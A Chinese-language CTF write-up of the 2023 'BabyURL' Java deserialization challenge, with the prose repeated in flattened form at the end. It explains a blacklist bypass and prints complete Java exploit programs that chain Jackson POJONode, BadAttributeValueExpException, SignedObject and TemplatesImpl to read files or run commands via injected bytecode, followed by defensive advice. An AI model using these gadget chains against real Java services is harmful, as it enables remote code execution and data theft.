2023巅峰极客-BabyURL复现分析
字数 1248 2025-08-22 18:37:15

BabyURL 反序列化漏洞分析与利用

1. 漏洞背景

这是一个来自2023巅峰极客比赛的Java反序列化漏洞题目,涉及黑名单绕过和二次反序列化技术。题目主要考察了SignedObject和Jackson的利用方式。

2. 环境分析

2.1 项目结构

项目是一个基于Spring Boot的Web应用,主要包含以下关键文件:

  • YancaoCtfJavaApplication.java: Spring Boot启动类
  • URLHelper.java: 自定义的反序列化类
  • URLVisiter.java: URL访问器类
  • IndexController.java: 控制器类
  • MyObjectInputStream.java: 自定义ObjectInputStream实现

2.2 关键路由

  • /: 返回"Hello World"
  • /hack: 接收Base64编码的payload并进行反序列化
  • /file: 读取并返回/tmp/file文件内容

2.3 黑名单限制

MyObjectInputStream中设置了以下类的黑名单:

"java.net.InetAddress", 
"org.apache.commons.collections.Transformer", 
"org.apache.commons.collections.functors", 
"com.yancao.ctf.bean.URLVisiter", 
"com.yancao.ctf.bean.URLHelper"

3. 漏洞点分析

3.1 URLHelper类

自定义的反序列化类,在反序列化时会调用URLVisitervisitUrl方法,将访问内容写入/tmp/file

3.2 URLVisiter限制

禁止以file开头,file://被禁用,但可以通过url:file://绕过。

3.3 反序列化入口

/hack路由接收Base64编码的payload,使用MyObjectInputStream进行反序列化。

4. 漏洞利用

4.1 非预期解:Jackson POJONode利用

利用链:

BadAttributeValueExpException#readObject -> BaseJsonNode.toString -> TemplatesImpl#getOutputProperties

关键步骤:

  1. 使用POJONode包装恶意对象
  2. 通过BadAttributeValueExpException触发反序列化
  3. 需要移除BaseJsonNodewriteReplace方法

移除writeReplace方法代码:

try {
    CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
    CtMethod replace = jsonNode.getDeclaredMethod("writeReplace");
    jsonNode.removeMethod(replace);
    ClassLoader ClassLoader = Thread.currentThread().getContextClassLoader();
    jsonNode.toClass(ClassLoader, null);
} catch (Exception e){}

4.2 预期解:SignedObject二次反序列化

利用链:

BadAttributeValueExpException#readObject -> POJONode.toString -> SignedObject#getObject -> 二次反序列化

完整EXP代码:

package com.yancao.ctf;

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;

public class App {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, NoSuchProviderException, InvalidKeyException, SignatureException, NoSuchFieldException, IllegalAccessException {
        ClassPool pool = ClassPool.getDefault();
        URLHelper urlHelper = new URLHelper("FILE:///F:\\flag.txt");
        urlHelper.visiter = new URLVisiter();
        
        try {
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) { }
        
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        
        SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);
        POJONode node = new POJONode(signedObject);
        
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
        
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(val);
        oos.close();
        
        System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
        baor.close();
    }
}

4.3 拓展:TemplateImpl二次反序列化

TemplateImpl被禁用时,可以通过SignedObject进行二次反序列化:

package com.yancao.ctf;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.net.URLEncoder;
import java.util.Base64;

public class TemplateSignedObject {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clz.setSuperclass(superClass);
        
        CtConstructor cc = new CtConstructor(new CtClass[]{}, clz);
        cc.setBody("Runtime.getRuntime().exec(\"calc\");");
        clz.addConstructor(cc);
        
        byte[][] bytes = new byte[][]{clz.toBytecode()};
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);
        
        try {
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) { }
        
        POJONode node = new POJONode(templates);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        setValue(val, "val", node);
        
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        
        SignedObject signedObject = new SignedObject(val, privateKey, signingEngine);
        POJONode node1 = new POJONode(signedObject);
        
        BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
        Field valfield = val1.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val1, node1);
        
        ByteArrayOutputStream baor = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baor);
        oos.writeObject(val1);
        oos.close();
        
        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(baor.toByteArray()))));
        baor.close();
    }
    
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

5. 防御建议

  1. 使用白名单机制替代黑名单
  2. 升级Jackson等依赖库到最新版本
  3. 避免直接反序列化不可信数据
  4. 使用安全的ObjectInputStream实现
  5. 对反序列化过程进行严格监控和日志记录

6. 总结

该漏洞利用的关键点在于:

  1. 通过SignedObject进行二次反序列化绕过黑名单
  2. 利用POJONode.toString()触发getObject方法
  3. 处理BaseJsonNodewriteReplace方法问题
  4. 构造完整的利用链实现任意文件读取或命令执行

理解这些技术点对于防御Java反序列化漏洞具有重要意义。

BabyURL 反序列化漏洞分析与利用 1. 漏洞背景 这是一个来自2023巅峰极客比赛的Java反序列化漏洞题目,涉及黑名单绕过和二次反序列化技术。题目主要考察了SignedObject和Jackson的利用方式。 2. 环境分析 2.1 项目结构 项目是一个基于Spring Boot的Web应用,主要包含以下关键文件: YancaoCtfJavaApplication.java : Spring Boot启动类 URLHelper.java : 自定义的反序列化类 URLVisiter.java : URL访问器类 IndexController.java : 控制器类 MyObjectInputStream.java : 自定义ObjectInputStream实现 2.2 关键路由 / : 返回"Hello World" /hack : 接收Base64编码的payload并进行反序列化 /file : 读取并返回 /tmp/file 文件内容 2.3 黑名单限制 MyObjectInputStream 中设置了以下类的黑名单: 3. 漏洞点分析 3.1 URLHelper类 自定义的反序列化类,在反序列化时会调用 URLVisiter 的 visitUrl 方法,将访问内容写入 /tmp/file 。 3.2 URLVisiter限制 禁止以 file 开头, file:// 被禁用,但可以通过 url:file:// 绕过。 3.3 反序列化入口 /hack 路由接收Base64编码的payload,使用 MyObjectInputStream 进行反序列化。 4. 漏洞利用 4.1 非预期解:Jackson POJONode利用 利用链: 关键步骤: 使用 POJONode 包装恶意对象 通过 BadAttributeValueExpException 触发反序列化 需要移除 BaseJsonNode 的 writeReplace 方法 移除writeReplace方法代码: 4.2 预期解:SignedObject二次反序列化 利用链: 完整EXP代码: 4.3 拓展:TemplateImpl二次反序列化 当 TemplateImpl 被禁用时,可以通过 SignedObject 进行二次反序列化: 5. 防御建议 使用白名单机制替代黑名单 升级Jackson等依赖库到最新版本 避免直接反序列化不可信数据 使用安全的ObjectInputStream实现 对反序列化过程进行严格监控和日志记录 6. 总结 该漏洞利用的关键点在于: 通过 SignedObject 进行二次反序列化绕过黑名单 利用 POJONode.toString() 触发 getObject 方法 处理 BaseJsonNode 的 writeReplace 方法问题 构造完整的利用链实现任意文件读取或命令执行 理解这些技术点对于防御Java反序列化漏洞具有重要意义。